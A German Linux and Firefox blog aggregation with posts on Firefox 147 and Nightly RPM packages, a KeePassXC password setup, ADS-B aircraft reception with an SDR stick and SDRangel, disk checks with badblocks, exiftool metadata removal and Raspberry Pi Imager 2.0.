Die Nightly-Version von Firefox liegt ab sofort auch als .rpm-Paket vor. RPM steht für Red Hat Package Manager. Linux-Distributionen, welche RPM nutzen, sind unter anderem Fedora, openSUSE, CentOS oder RHEL. Die .rpm-Pakete bieten die gleichen Vorteile wie die .tar.xz-Archive, die man via mozilla.org herunterladen kann und damit im Vergleich zum Firefox aus einer traditionellen Paketverwaltung unter Linux dank Mozillas Compiler-Optimierungen eine bessere Performance und Sicherheit bieten und außerdem Updates, die den Nutzer schneller erreichen.
Nach einer Testphase sollen die .rpm-Pakete natürlich auch für Firefox Beta sowie die finalen Firefox-Veröffentlichungen und Firefox ESR zur Verfügung stehen.
Informationen zur Installation der .deb-Pakete von Firefox hat Mozilla in seinem Blog (engl.) zusammengefasst.
Ich könnte den Spiess ja umdrehen, wieso nutzt Du Keepass und nimmst die Unbequemlichkeit in Kauf?
Aus einem privaten Matrix-Chat mit einer Person im Internet.
Nun gut, ich möchte dieser Person den Artikel nicht schuldig bleiben. ;-)
Warum ich KeePass benutze
Dies hat wie so oft historische Gründe. Die erste Referenz zu KeePass in diesem Blog ist vom 8. Januar 2011. Etwas später, am 20.01.2011, hatte ich dem Thema einen eigenen Artikel gewidmet: Sichere Passwörter und wie man sie verwaltet. Der Artikel hat in meinen Augen nicht an Aktualität verloren, mit zwei kleinen Ausnahmen:
Ich benutze heute keine Windows mehr, sondern KeePassXC unter Linux.
Bei der Wahl der KeePass-Projekte habe ich mich von diesem Artikel von Mike Kuketz beeinflussen lassen.
Ich bin privat dabei geblieben, weil ich die Nutzung gewohnt bin und bisher keinen Grund zu einem Wechsel sehe. Beruflich nutze ich inzwischen Bitwarden, da dies von meinem Arbeitgeber zur Verfügung gestellt wird und ich somit ein offiziell geprüftes und genehmigtes Werkzeug für dienstliche Zwecke verwende. Darüber hinaus finde ich Bitwarden genauso gut wie KeePassXC.
Wie ich KeePass benutze
KeePassXC ist auf allen meinen Geräten des Typs Laptop, Desktop-PC/Heimserver installiert. Auf meinem Tablet und Smartphone nutze ich KeePassDX, welcher auch im F-Droid-Store verfügbar ist.
Die KeePass-Datenbank halte ich mit einer selbstgehosteten Nextcloud auf allen Geräten synchron bzw. stelle sie dort zur Verfügung. Auf PC und Laptop ist dabei permanent eine lokale Kopie der Datenbank verfügbar. Auf dem Smartphone/Tablet steht diese nur zeitlich begrenzt zur Verfügung, nämlich bis der Android-Dateimanager der KeePassDX-App den Zugriff auf die gecachte KeePass-Datenbank-Datei entzieht bzw. diese aus dem Cache entfernt wird. Schaut für weitere Hinweise hierzu bitte in die englischsprachige FAQ des Projekts.
Der Ablauf auf dem Smartphone sieht bei mir so aus:
Nextcloud-App öffnen.
KeePass-Datenbank auswählen und mit KeePassDX öffnen.
Datenbank-Passwort eingeben und mit der üblichen Nutzung fortfahren.
Sollte ich mein Telefon oder Tablet mal verlieren, widerrufe ich den Access-Token in meiner Nextcloud, womit das jeweilige Gerät den Zugriff auf die Nextcloud und damit auf die KeePass-Datenbank verliert. Wichtig: Dies minimiert das Risiko, dass mir eine Kopie der KeePass-Datenbank verloren geht, bietet aber keinen 100%-igen Schutz. Bei der Offline-Funktionalität von Bitwarden schätze ich das Risiko ähnlich ein.
Um die Sicherheit noch etwas zu steigern, kann ich eine Funktion zur Fernlöschung nutzen, mit der die Inhalte von meinem Gerät gelöscht werden. Achtung: Dies funktioniert nur, wenn das Gerät mit dem Internet verbunden ist.
Aktuell entsperre ich die KeePass-Datenbank nur mit einem Passwort. Ich habe mir angesehen, wie man einen YubiKey als zusätzlichen Faktor nutzen kann. Leider wurde mein YubiKey in der Kombination YubiKey 5 NFC, Fedora 43 und KeePassXC nicht erkannt. Ich habe das Troubleshooting nach kurzer Zeit abgebrochen und beschlossen, dass der YubiKey und die dazugehörige Software für Linux aus der Hölle kommen und das Thema in eine Schublade zur E-Mail-Verschlüsselung gesperrt. Falls euch diese Problem bekannt vorkommt und ihr eine einfache Lösung dafür habt, bitte lasst mich wissen, welchen Zauber ihr gewirkt habt.
Browsererweiterung vs. Zwischenablage
Ich nutze die KeePassXC-Browser-Erweiterung, um mir das Leben etwas zu erleichtern und Login-Formulare per Klick ausfüllen zu lassen. Natürlich besteht hierbei das Restrisiko, dass durch eine Schwachstelle im Browser oder der Erweiterung die Login-Informationen abgefangen werden können. Dessen bin ich mir bewusst.
100%-ige Sicherheit gibt es nicht. Wenn sich ein Keylogger auf meinem System befindet oder eine Schadsoftware, welche die Zwischenablage mitschneidet, verliere ich die Informationen ebenfalls.
Da ich dank Passwort-Manager für alle Dienste unterschiedliche Passwörter und wo möglich Mehrfaktor-Authentisierung verwende, hält sich der Schaden selbst dann in Grenzen, wenn einzelne Passwörter kompromittiert werden.
Da ich kein IT-Sicherheitsexperte bin, möchte ich es hiermit aber auch gut sein lassen.
Viele Grüße ins Internet und an die Personen an den heimischen Datensichtgeräten.
Viele von uns kennen die Webseiten, auf denen man live den Flugverkehr beobachten kann. Das sind Karten, auf denen angezeigt wird, welche Flugzeuge sich gerade bewegen. Allein das reine Betrachten übt eine große Faszination aus. Egal auf welcher Zoomstufe man ist, überall gibt es etwas zu entdecken. Global etwa, wo befinden sich gerade die Flugrouten zwischen den Ländern oder Kontinenten. Man erkennt spielerisch die Ballungsräume der Menschheit, wo zieht es die Menschen hin. Oder man zoomt auf seinen eigenen Aufenthaltsort. Dort kann man dann mit dem „echten Himmel“ abgleichen, welche Flugzeuge sich gerade über einem befinden. Oder die Einzelansicht der Flugzeuge fasiziert mich. Wie schnell fliegt es, wie hoch ist es? Auch die Metadaten: Startflughafen, Ziel und Airline sind spannende Informationen, die ich mir gerne ansehe.
Wie spannend wäre das, wenn man das nicht nur über globale Webseiten sehen könnte? Ich möchte herausfinden, ob ich vielleicht mit einfachen Mitteln in der Lage bin, die Flugzeugdaten zu erhalten. Die erfreuliche Antwort vorneweg: Das geht tatsächlich, ist nicht kompliziert und die Hardware hierzu ist bezahlbar. Vielleicht habt ihr sie sogar schon zuhause!
Technischer Hintergrund: Was ist ADS-B?
ADS-B steht für Automatic Dependent Surveillance – Broadcast und ist ein modernes Überwachungsverfahren in der Luftfahrt. „Automatic“ bedeutet, dass die Aussendung ohne Eingriff des Piloten erfolgt, „Dependent“, dass das System auf bordeigene Navigationsdaten (meist GPS) angewiesen ist, und „Broadcast“, dass die Informationen ungezielt an alle Empfänger im Empfangsbereich gesendet werden.
Ein mit ADS-B ausgestattetes Luftfahrzeug überträgt in regelmäßigen Abständen unter anderem seine Position, Höhe, Geschwindigkeit, Flugrichtung und eine Kennung. Diese Daten werden typischerweise auf 1090 MHz ausgesendet und können sowohl von Flugsicherungsstellen als auch von anderen Flugzeugen und zivilen Empfängern am Boden empfangen werden.
Warum sind ADS-B-Signale unverschlüsselt?
ADS-B ist bewusst als offenes, unverschlüsseltes Broadcast-System konzipiert. Der Hauptgrund dafür liegt in der Flugsicherheit: Alle relevanten Teilnehmer – Bodenstationen, andere Flugzeuge, Kollisionswarnsysteme (TCAS), aber auch mobile oder kostengünstige Empfänger – müssen die Signale ohne vorherige Authentifizierung empfangen können. Eine Verschlüsselung würde zusätzliche Infrastruktur, Schlüsselverwaltung und Latenz erfordern und damit die Zuverlässigkeit und Interoperabilität des Systems beeinträchtigen.
Dieses offene Design ist kein Versehen, sondern ein zentraler Bestandteil des Konzepts. ADS-B soll klassische Radarsysteme ergänzen oder teilweise ersetzen und dabei weltweit einheitlich funktionieren – unabhängig von Hersteller, Staat oder Betreiber. Dass die Signale auch von Privatpersonen mit einfacher Hardware empfangen werden können, ist eine direkte Folge dieser Offenheit.
Seit wann gibt es ADS-B?
Die Grundlagen von ADS-B wurden bereits in den 1990er-Jahren entwickelt. Erste praktische Einführungen erfolgten Anfang der 2000er-Jahre, zunächst ergänzend zu Sekundärradar und Mode-S-Transpondern. Verbindliche Vorschriften kamen jedoch deutlich später:
USA: ADS-B-Out-Pflicht seit 1. Januar 2020
Europa: schrittweise Einführung, weitgehend verpflichtend für IFR-Verkehr und größere Luftfahrzeuge seit den späten 2010er-Jahren
weltweit: ICAO empfiehlt ADS-B als Standardüberwachungssystem, nationale Umsetzungen variieren
Welche Flugzeuge müssen ADS-B senden – und welche nicht?
Zur Aussendung von ADS-B-Signalen („ADS-B Out“) verpflichtet sind in der Regel:
Verkehrsflugzeuge (Airliner)
Gewerbliche Luftfahrzeuge
IFR-Flüge in kontrolliertem Luftraum
Flugzeuge oberhalb bestimmter Lufträume und Höhen
Nicht oder nur eingeschränkt verpflichtet sind dagegen:
Militärische und staatliche Luftfahrzeuge
Segelflugzeuge, Ballone, Ultraleichtflugzeuge
ältere allgemeine Luftfahrt (GA) ohne Nachrüstpflicht
Luftfahrzeuge in unkontrolliertem Luftraum (abhängig vom Land)
Vorbereitung: Die Hardware besorgen
Was man braucht, ist eine USB-Antenne. Es gibt von der Firma Realtek einen Chip, der sich RTL2832U nennt. Das ist im Wesentlichen ein Analog-Digital-Wandler, mit dem man das Antennensignal aufnehmen und am PC verarbeiten kannt. Das nennt sich dann SDR (Software Defined Radio). Also, besorgt euch so einen Stick. Es gibt mehrere Hersteller aber einer sticht in der Szene heraus, weil er wohl sehr weit verbreitet ist. Ich habe einen anderen bestellt, der ebenfalls gut funktioniert. Hauptsache er erhält den richtigen Chip RTL2832U – um den geht es.
Ich hatte in meiner Wühlkiste noch einen alten DVB-T-Stick für den Laptop. Der ist mehr als 10 Jahre alt, enhält aber den besagten Chip.
Ein DAB-T-Stick enthält meistens den Realtek RTL2832U-Chip und ist für dieses Projekt geeignet
Schritt 0: Treiber installieren mit Zadig
Es klingt etwas merkwürdig, aber unter Windows 11 wurde der Chip nicht erkannt. Wie bereits zur wilden Zeit von Windows XP muss man sich „irgendwo“ einen Treiber besorgen und diesen installieren. Ich bin auf die Software Zadig gestoßen, die mir für den USB-Stick einen allgemeinen Treiber installiert hat. Ich fand diese Aktion etwas shady, aber was soll ich sagen? – es hat funktioniert. Also, installiert den Treiber, falls der Stick nicht erkannt wird.
Mit der Software Zadig können USB-Treiber installiert werden. Bei meinem DAB-T-Stick war das notwendig. Hierzu wählt man im Dropdown-Menü den Eintrag aus und klickt auf „Install Driver“.
Schritt 1: Die Software SDRangel
Aus der großartigen Open Source-Community ist eine Software namens SDRangel hervorgegangen. Diese lässt sich unter Windows und Linux installieren und verwenden. Mit ihr kann man diesen Chip sehr ausführlich verwenden, denn sie stellt verschiedene Dekodierer zur Verfügung. Man kann auch Digitalradio dekodieren und viele anderen Dinge, mit denen ich mich nicht auskenne. Wer hier Lust hat, sich mal richtig nach Herzenslust auszutoben, dessen Herz wird höher schlagen!
Schritt 2: ADS-B empfangen mit SDRangel
Für den Empfang der Signale holt man sich zunächst einen Receiver Rx ins Programm. Oben auf das entsprechendes Symbol klicken und nach RTLSDR in der Liste suchen. Taucht dein Empfänger hier nicht auf? Dann nochmal unter Schritt 0 nachsehen, ob der Treiber installiert wurde.
Zum Hinzufügen eines Receivers wird der entsprechende Button angeklickt
Ist der richtige Receiver ausgewählt, kann jetzt der Empfang konfiguriert werden. Hierzu müssen folgende Werte eingestellt werden:
Frequenz: 1.090.000 Hz
Samplerate: 2.400.000 S/s
Verstärkung: automatisch (AGC)
In SDRangel müssen nach dem Hinzufürgen des Receivers verschiedene Einstellungen vorgenommen werden. Die Frequenz, Samplerate und Verstärkung (Gain) gehören dazu. Am Ende wird ein Demodulator hinzugefügt (Pfeil).
Über den kleinen Button, auf den der Pfeil im Screenshot zeigt, kann der Demodulator eingefügt werden. Es erscheint eine lange Liste, aus der man den richtigen Demodulator auswählen darf. Wir wählen ADS-B.
Um das Fenster noch ein bisschen aufzuräumen, können wir in der oberen Leiste noch die Ansicht anpassen. Für mich hat die Spaltenansicht ganz gut gepasst.
Es gibt vorgefertigte Ansichten, bei denen die Fenster angeordnet werden. Sie sind unterschiedlich gut geeignet, am Besten probiert es jeder einmal für sich aus, welche Ansicht am übersichtlichsten erscheint.
Die Vorbereitungen sind damit auch schon abgeschlossen. Durch klicken auf den Play-Button oben links können wir starten.
Schritt 3: Flugzeuge orten und Antennenposition varrieren
Mit etwas Glück sieht man jetzt schon die ersten Ergebnisse. Je nach Fluglage um euren Standort herum, füllt sich die Liste der Flugzeuge sofort oder nach ein paar Minuten. Die Fenster lassen sich nun natürlich noch ein bisschen verschieben und den persönlichen Wünschen anpassen. Über die kleinen Button oberhalb der Tabelle lässt sich das Verhalten auf der Karte steuern.
Sollte nach einiger Zeit weiterhin nichts kommen, obwohl auf einschlägigen Radarseiten zu sehen ist, dass Flugzeuge in unmittelbarer Nähe vorbeifliegen, muss noch etwas optimiert werden. Am häufigsten liegt es wohl an der Antenne bzw. deren Position. Verschiebt sie so gut es geht an ein Fenster, das freien Blick auf den Himmel hat. Die Antenne muss zwingend stehend (also vertikal ausgerichtet) sein, da die Signale polarisiert sind. Weiterhin kann man am Schwellwert (Threshold) oben rechts noch etwas verstellen.
Schritt 4: Was kann man sonst noch machen?
Es gibt Schnittstellen des Programms. Wer also Lust hat, seine gefundenen Flugzeuge an einen Dienst zu melden, hat hier die Möglichkeit dazu.
Außerdem gibt es eine ganz coole 3D-Ansicht. Oben in der Leiste müsst ihr dort auf „Add Feature“ klicken und die Map hinzufügen. Dort erhält man eine 2D-Karte von OpenStreetMap, und auch eine 3D-Karte, über die man auch die Höheninformation der Flugzeuge live verarbeitet sieht. Das ist ein richtig nices Feature!
1: zuerst muss das Feature „Map“ hinzugefügt werden. 2: Über die Einstellungen lassen sich die 3D-Daten herunterladen. 3: 3D-Daten müssen heruntergeladen werden.
Ausblick: Was kann man noch machen mit SDRangel?
Natürlich lassen sich jetzt noch viele weitere Signale empfangen und demodulieren. Ich habe beispielsweise Digitalradio empfangen. Hier muss man die Frequenz wieder anpassen und einen anderen Demodulator auswählen. Unter Preferences -> Configurations sind auch schon manche Dinge vorgefertigt. Für DAB gibt es bei mir beispielsweise schon eine fertige Ansicht. Man muss „nur noch“ in der rechten Spalte die „Channel“ durchgehen, und schon füllt sich die Liste der Programme.
Mozilla hat Firefox 147 für Android veröffentlicht. Dieser Artikel beschreibt die Neuerungen von Firefox 147 für Android. Größtes Highlight: Eine Website-Isolation für mehr Sicherheit.
„Fission” – Sicherheits-Feature jetzt auch auf Android
Unter dem Entwicklungsnamen „Fission” hatte Mozilla nach mehreren Jahren Entwicklung Ende 2021 eine Erweiterung der Multiprozess-Architektur für den Desktop-Firefox ausgeliefert. Firefox 147 bringt das Sicherheits-Feature auch auf Android.
Vereinfacht gesagt bedeutet dies, dass damit jeder Tab in einem eigenen Prozess läuft. Genauer wäre zu sagen, dass es einen Prozess pro Ursprung gibt, sprich zwei Tabs von der selben Domain können sich einen Prozess teilen. Auf der anderen Seite kann ein einzelner Tab auch mehrere Prozesse beanspruchen, nämlich dann, wenn auf der Seite Frames von anderen Domains eingebettet sind. Fission schützt auch vor Attacken wie Spectre.
Sonstige Neuerungen von Firefox 147 für Android
Für den Schutz vor potenziell gefährlichen Websites und unerwünschter Software verwendet Firefox jetzt Version 5 von Google Safe Browsing.
Nach langem Tippen auf das Firefox-Symbol auf dem Android-Startbildschirm und Auswahl des Eintrages „Passwörter” öffnet jetzt direkt die Liste der gespeicherten Zugangsdaten, statt noch einen weiteren Klick zu benötigen. Selbstverständlich ist der Zugriff weiterhin via Biometrie geschützt.
Der Startbildschirm für den privaten Modus, in dem keine Surf-Spuren zurückbleiben, wurde neu gestaltet.
Bei Klick auf den Link „Alle Geschichten” auf dem Firefox-Startbildschirm erscheinen jetzt 30 und damit deutlich mehr Artikel als bisher.
Dazu kommen weitere neue Plattform-Features der aktuellen GeckoView-Engine, diverse Fehlerbehebungen, geschlossene Sicherheitslücken sowie Verbesserungen unter der Haube.
Mit dem Update auf Firefox 147.0.1 behebt Mozilla mehrere Webkompatibilitätsprobleme. Unter anderem wurde die neu hinzugefügte Unterstützung für die Compression Dictionaries-Technologie vorerst wieder deaktiviert, nachdem diese Probleme auf ChatGPT verursacht hat. Ein Bug in der aktuellen Version der CLDR-Bibliothek wurde umgangen, von dem auch Chromium-basierte Browser betroffen sind und der dafür sorgt, dass das Parsen der Ausgabe von formatierten Stunden-Angaben auf einigen Websites nicht mehr wie erwartet funktioniert. Darüber hinaus wurde ein Workaround für die Website si.com implementiert, welche in einer endlosen Reload-Schleife hängen bleiben konnte.
Ein Problem wurde behoben, bei dem Sprachpakete in manchen Fällen unmittelbar nach einem Major-Update von Firefox deaktiviert werden konnten, womit die Oberfläche von Firefox dann in englischer statt der gewünschten Sprache war. Während dieser Fall grundsätzlich auf allen Betriebssystemen auftreten konnte, waren davon vor allem Linux-Nutzer betroffen, da unter Linux häufig keine lokalisierten Builds, sondern englischsprachige Builds mit Sprachpaketen genutzt werden.
Firefox unterstützt seit Version 147 unter Linux die XDG Base Directory-Spezifikation, hat in diesem Zusammenhang aber immer noch ein leeres Verzeichnis ~/.mozilla/ erstellt, was jetzt nicht länger geschieht. Außerdem konnte Firefox unter Linux unter Umständen nicht gestartet werden, wenn das Wayland-Farbprotokoll v2+ vorhanden ist.
Schließlich wurden noch mehrere potenzielle Absturzursachen behoben, wobei einer dieser Abstürze von der Sicherheits-Software Trellix verursacht worden ist.
Festplatten unterliegen einem natürlichen Verschleiß. Mit der Zeit können sogenannte Bad Sektoren entstehen – fehlerhafte Speicherbereiche, die nicht mehr zuverlässig gelesen oder beschrieben werden können. Eine regelmäßige Überprüfung kann helfen, Datenverlust frühzeitig zu erkennen und entsprechende Maßnahmen einzuleiten.
Was sind Bad Sektoren?
Bad Sektoren sind physisch oder logisch beschädigte Bereiche auf einem Datenträger. Physische Defekte entstehen durch Abnutzung, mechanische Schäden oder Produktionsfehler. Logische Bad Sektoren hingegen resultieren meist aus Softwareproblemen oder Stromausfällen und lassen sich mitunter korrigieren.
Analysewerkzeuge unter Linux
Linux bietet verschiedene Werkzeuge zur Analyse und Erkennung defekter Sektoren. Eines der bekanntesten Tools ist badblocks.
Ein einfacher Check lässt sich wie folgt durchführen:
sudo badblocks -vsn /dev/sdX
Ersetzt man dabei /dev/sdX durch das entsprechende Gerät, erhält man einen Überblick über den Zustand der Sektoren. Hierbei sucht badblocks gezielt nach defekten Blöcken der Festplatte.
Dabei sollte beachtet werden, dass dieser Vorgang – je nach Größe des Datenträgers – einige Zeit in Anspruch nehmen kann.
Fazit
Die regelmäßige Analyse auf Bad Sektoren ist ein wichtiger Bestandteil der Systempflege. Frühzeitig erkannte Fehler ermöglichen rechtzeitige Backups und gegebenenfalls den Austausch der betroffenen Hardware. Open-Source-Werkzeuge wie badblocks bieten unter Linux zuverlässige Möglichkeiten zur Diagnose – ganz ohne proprietäre Software.
Mozilla hat Firefox 147 für Windows, Apple macOS und Linux veröffentlicht. Dieser Artikel fasst die wichtigsten Neuerungen zusammen – wie immer auf diesem Blog weit ausführlicher als auf anderen Websites.
Der sogenannte Bild-im-Bild-Modus erlaubt es, Videos von der Website loszulösen und über andere Tabs und sogar Anwendungen zu legen. Innerhalb des losgelösten Video-Fensters kann die Wiedergabe pausiert und wieder gestartet werden, man sieht den Wiedergabe-Fortschritt und kann an eine andere Stelle des Videos springen, ein Wechsel in den Vollbildmodus ist möglich, der Ton kann aus- und wieder eingeschaltet werden, die Lautstärke kann geändert werden und auch Untertitel werden auf vielen Plattformen unterstützt.
Eine neue Option wurde in den Einstellungen hinzugefügt, um für aktive Videos automatisch den Bild-im-Bild-Modus zu starten, wenn der Tab gewechselt wird. Sobald man wieder in den ursprünglichen Tab zurückkehrt, wird der Bild-im-Bild-Modus ebenso automatisch wieder beendet.
Änderung von Tastenkombinationen
Über die Seite about:keyboard können diverse Tastenkombinationen von Firefox geändert werden. Einen direkten Einstiegspunkt über die Firefox-Oberfläche gibt es bislang bewusst nicht. Mozilla weist direkt am Anfang der Seite darauf hin, dass diese Funktion noch experimentell ist und möglicherweise nicht wie erwartet funktioniert. Auch fehlt es noch an einem richtigen Design für die Seite und es werden auch noch nicht alle Tastenkombinationen unterstützt, die Firefox anbietet. Aber für immerhin bereits 67 Funktionen wie zum Beispiel dem Öffnen eines neuen Tabs kann eine andere Tastatur-Belegung konfiguriert werden.
Mehr Sicherheit für Firefox-Nutzer
Auch in Firefox 147 wurden wieder mehrere Sicherheitslücken geschlossen. Alleine aus Gründen der Sicherheit ist ein Update auf Firefox 147 daher für alle Nutzer dringend empfohlen.
Sonstige Endnutzer-Neuerungen in Firefox 147
Das Kopieren eines Firefox-Profils ist jetzt auch über die Einstellungen möglich.
Die Performance der Video-Wiedergabe auf Geräten mit Grafikchip von AMD wurde durch eine Maßnahme verbessert, welche für Geräte mit Grafikchip von Nvidia und Intel bereits seit längerem Anwendung findet.
Für den Schutz vor potenziell gefährlichen Websites und unerwünschter Software verwendet Firefox jetzt Version 5 von Google Safe Browsing.
Websites, welche auf Geräte im lokalen Netzwerk (zum Beispiel Router oder Drucker) zugreifen wollen, lösen bei Verwendung des strengen Schutzes vor Aktivitätenverfolgung jetzt eine Berechtigungs-Nachfrage aus. Diese Neuerung wird schrittweise im Laufe der kommenden Wochen ausgerollt.
Firefox unterstützt jetzt die XDG Base Directory-Spezifikation. Diese definiert, wo Anwendungsdatendateien, Konfigurationsdateien und andere Dateien im Home-Verzeichnis des Benutzers abgelegt werden sollen.
Das Konzept Race Cache With Network (RCWN) sollte ursprünglich die Ladezeiten von Webseiten verkürzen, indem Firefox parallel eine Anfrage an das Netzwerk sendet, wenn Firefox merkt, dass der Festplatten-Zugriff für den Cache langsam ist, und dann die Ressource aus der Quelle nutzt, welche zuerst ein Ergebnis liefert. In Zeiten von SSDs bringt dieses Feature keinen nennenswerten Vorteil mehr. Darum wurde RCWN für Geräte mit SSD deaktiviert.
Verbesserungen der Webplattform
Firefox verwendet jetzt dieselben Qualitätswerte (q-Werte) in Accept-Language-Headern wie andere Browser. Die zweitwichtigste Spracheinstellung wird nun als q=0,9 statt als q=0,5 gesendet, wobei die nachfolgenden Spracheinstellungen jeweils um 0,1 abnehmen (Minimum 0,1). Diese Änderung behebt Kompatibilitätsprobleme mit einigen Servern, die Anfragen mit niedrigeren Qualitätswerten fälschlicherweise abgelehnt haben.
Nachdem die WebGPU-API bereits auf Windows sowie auf Geräten mit Apple Silicon und macOS 26 und höher unterstützt wurde, werden jetzt alle Geräte mit Apple Silicon unterstützt, unabhängig von der macOS-Version.
Firefox 147 bringt Unterstützung für Version 17 des Unicode-Standards (und damit unter anderem für die neusten Emojis), CSS Anchor Positioning, die Navigation API, ES-Module in Service Workers sowie CSS Module Scripts.
Weitere Verbesserungen der Webplattform und für Erweiterungsentwickler lassen sich wie immer in den MDN Web Docs nachlesen.
Manch ein Leser kennt das vielleicht: Das CMS WordPress, mit dem man sich eigentlich gut auskennt, verhält sich plötzlich ganz anders als gewohnt. Meist hat das natürlich einen Grund.
Nachdem das erledigt war, habe ich das Bildmaterial in die Mediathek der Webseite hochgeladen. Dabei fiel mir auf, dass die Bezeichnungen der Bilder nicht den neuen Dateinamen entsprachen. Stattdessen trugen sie die Bezeichnung der Veranstaltung, bei der sie aufgenommen wurden. Ein Löschen und erneutes Hochladen der Fotos konnte das Problem nicht beheben.
Schnell lag der Verdacht nahe, dass in den Bilddateien selbst noch Informationen gespeichert waren, die von WordPress beim Hochladen automatisch übernommen wurden. Im konkreten Fall handelte es sich um Metadaten in der IPTC-Kopfzeile. Bei knapp 100 Bildern wäre es sehr aufwendig gewesen, diese Angaben manuell zu entfernen. Eine Lösung über eine Stapelverarbeitung war daher naheliegend, am besten direkt über das Terminal unter Ubuntu.
Glücklicherweise gibt es eine einfache Möglichkeit, solche eingebetteten Informationen automatisch aus den Dateien zu entfernen.
Zuvor muss allerdings das Paket libimage-exiftool-perl installiert werden.
sudo apt install libimage-exiftool-perl
Danach wird folgender Befehl im Verzeichnis, in dem die zu bearbeitenden Bilder liegen, ausgeführt:
exiftool -all= *.jpg
Dieser sorgt dafür, dass die Dateiendungen der Originalbilder in .jpg_original geändert und die Metadaten aus den eigentlichen Bilddateien entfernt werden.
Beim anschließenden Upload in WordPress wurden die Bildbezeichnungen wie gewünscht angezeigt – also die neuen Dateinamen mit passender Nummerierung.
Die im Oktober 2025 erschienene Neuauflage des Raspberry Pi OS, basierend auf Debian 13 „Trixie“, dürfte einige Nutzer überrascht haben. In den Medien wurde darüber nur wenig berichtet – auch an mir war die Veröffentlichung zunächst vorbeigegangen.
Trotzdem habe ich nicht gezögert, das neue System mithilfe des Raspberry Pi Imager auf eine microSD-Karte zu schreiben. Ziel war es wie gewohnt, eine sogenannte headless-Installation vorzubereiten – also ohne Monitor und Tastatur. Die weitere Einrichtung sollte anschließend bequem per SSH (Secure Shell) erfolgen.
Der Vorgang wurde auf einem Notebook mit Ubuntu 24.04 LTS und dem über die Paketverwaltung installierten Raspberry Pi Imager (Version 1.8.5) durchgeführt. Nach dem Flashen wurden die Karte in den Raspberry Pi eingesetzt und das System gestartet. Doch eine Verbindung per SSH war danach nicht möglich.
Ursache und Lösung
Die Ursache für dieses Verhalten war schnell gefunden: Raspberry Pi OS 13 erfordert für die korrekte Vorkonfiguration den Raspberry Pi Imager in Version 2.0 oder höher. Und genau hier beginnt das Problem – zumindest für Linux-Nutzer.
Während Windows-Nutzer den neuen Imager bereits komfortabel nutzen können, hinkt die Linux-Unterstützung deutlich hinterher. Bislang steht weder ein aktuelles .deb-Paket noch eine Snap-Version zur Verfügung. Das sorgt in der Linux-Community verständlicherweise für Kopfschütteln – gerade bei einem Projekt wie dem Raspberry Pi, das tief in der Open-Source-Welt verwurzelt ist.
AppImage als Ausweg
Glücklicherweise bietet der Entwickler ein AppImage des neuen Imagers an. Dieses lässt sich unter Ubuntu und anderen Distributionen unkompliziert starten – ganz ohne Installation. Damit ist es wie gewohnt möglich, WLAN-Zugangsdaten und SSH vor dem ersten Start zu konfigurieren.
Fazit
Wer Raspberry Pi OS 13 „Trixie“ headless nutzen möchte, sollte sicherstellen, dass der Imager in Version 2.0 oder neuer verwendet wird. Für Linux-Nutzer führt der Weg aktuell nur über das bereitgestellte AppImage. Es bleibt zu hoffen, dass die offizielle Paketunterstützung für Linux bald nachgereicht wird.
In diesem Jahr hat Mozilla seinen Browser Firefox mit Tab-Gruppen sowie vertikalen Tabs um zwei neue Tab-Funktionen erweitert, welche sich von vielen Nutzern gewünscht worden sind. Weitere Verbesserungen der Tabs sind in Vorbereitung: Für den Desktop kommen geteilte Tabs sowie Notizen für Tabs. Firefox für Android bekommt Tab-Gruppen.
Die Möglichkeit, Tabs in Gruppen zu organisieren, war das meistgewünschte Feature der Firefox-Community. Vertikale Tabs als Alternative zur horizontalen Tableiste standen auf Platz 3. Beide Features hat Mozilla in diesem Jahr ausgeliefert. An zwei weiteren Tab-Funktionen für den Desktop arbeitet Mozilla bereits, welche Nutzer einer Nightly-Version von Firefox auch schon testen können.
Geteilte Tabs
Geteilte Tabs beschreiben die Möglichkeit, zwei Tabs gleichzeitig nebeneinander darzustellen. Eine geteilte Ansicht kann ganz einfach über das Kontextmenü eines Tabs erstellt werden. In der zweiten Fensterhälfte steht dann eine Liste aller bereits geöffneten Tabs zur Verfügung. Ansonsten ist natürlich auch eine direkte Eingabe über die Adressleiste oder das Öffnen eines Lesezeichens möglich – ganz gleich, wie man sonst auch Websites öffnet. Oder man wählt direkt zwei Tabs aus und wählt dann den entsprechenden Kontextmenü-Eintrag. Die Breite der jeweiligen Teilfenster kann beliebig verändert werden.
Das Feature ist in der Nightly-Version von Firefox bereits aktiviert. Die dazugehörige Option in about:config heißt browser.tabs.splitView.enabled. Natürlich ist zu bedenken, dass die Implementierung zu diesem Zeitpunkt noch nicht abgeschlossen ist.
Tab-Notizen
Eine weitere Neuerung ist die Möglichkeit, Notizen zu Tabs zu hinterlegen. Auch dies erfolgt über das Kontextmenü eines Tabs. Anschließend zeigt ein zusätzliches Symbol im Tab an, dass es eine Notiz für diesen Tab gibt. Diese wird angezeigt, wenn man mit der Maus über den Tab fährt.
Auch dieses Feature ist in der Nightly-Version von Firefox bereits aktiviert. Die dazugehörige Option in about:config heißt browser.tabs.notes.enabled. Hier ist genauso zu bedenken, dass die Implementierung zu diesem Zeitpunkt noch nicht abgeschlossen ist.
Tab-Gruppen für Android
Die anfangs erwähnten Tab-Gruppen wird es in Zukunft auch in Firefox für Android geben. Hier gibt es allerdings noch nichts zu testen, die Arbeiten daran werden mit dem neuen Jahr starten.
Beim Experimentieren mit KI-Sprachmodellen bin ich über das Projekt »Toolbx« gestolpert. Damit können Sie unkompliziert gekapselte Software-Umgebungen erzeugen und ausführen.
Toolbx hat große Ähnlichkeiten mit Container-Tools und nutzt deren Infrastruktur, unter Fedora die von Podman. Es gibt aber einen grundlegenden Unterschied zwischen Docker/Podman auf der einen und Toolbx auf der anderen Seite: Docker, Podman & Co. versuchen die ausgeführten Container sicherheitstechnisch möglichst gut vom Host-System zu isolieren. Genau das macht Toolbx nicht! Im Gegenteil, per Toolbx ausgeführte Programme können auf das Heimatverzeichnis des aktiven Benutzers sowie auf das /dev-Verzeichnis zugreifen, Wayland nutzen, Netzwerkschnittstellen bedienen, im Journal protokollieren, die GPU nutzen usw.
Toolbx wurde ursprünglich als Werkzeug zur Software-Installation in Distributionen auf der Basis von OSTree konzipiert (Fedora CoreOS, Siverblue etc.). Dieser Artikel soll als eine Art Crash-Kurs dienen, wobei ich mit explizit auf Fedora als Host-Betriebssystem beziehe. Grundwissen zu Podman/Docker setze ich voraus.
Mehr Details gibt die Projektdokumentation. Beachten Sie, dass die offizielle Bezeichnung des Projekts »Toolbx« ohne »o« in »box« lautet, auch wenn das zentrale Kommando toolbox heißt und wenn die damit erzeugten Umgebungen üblicherweise Toolboxes genannt werden.
Hello, Toolbx!
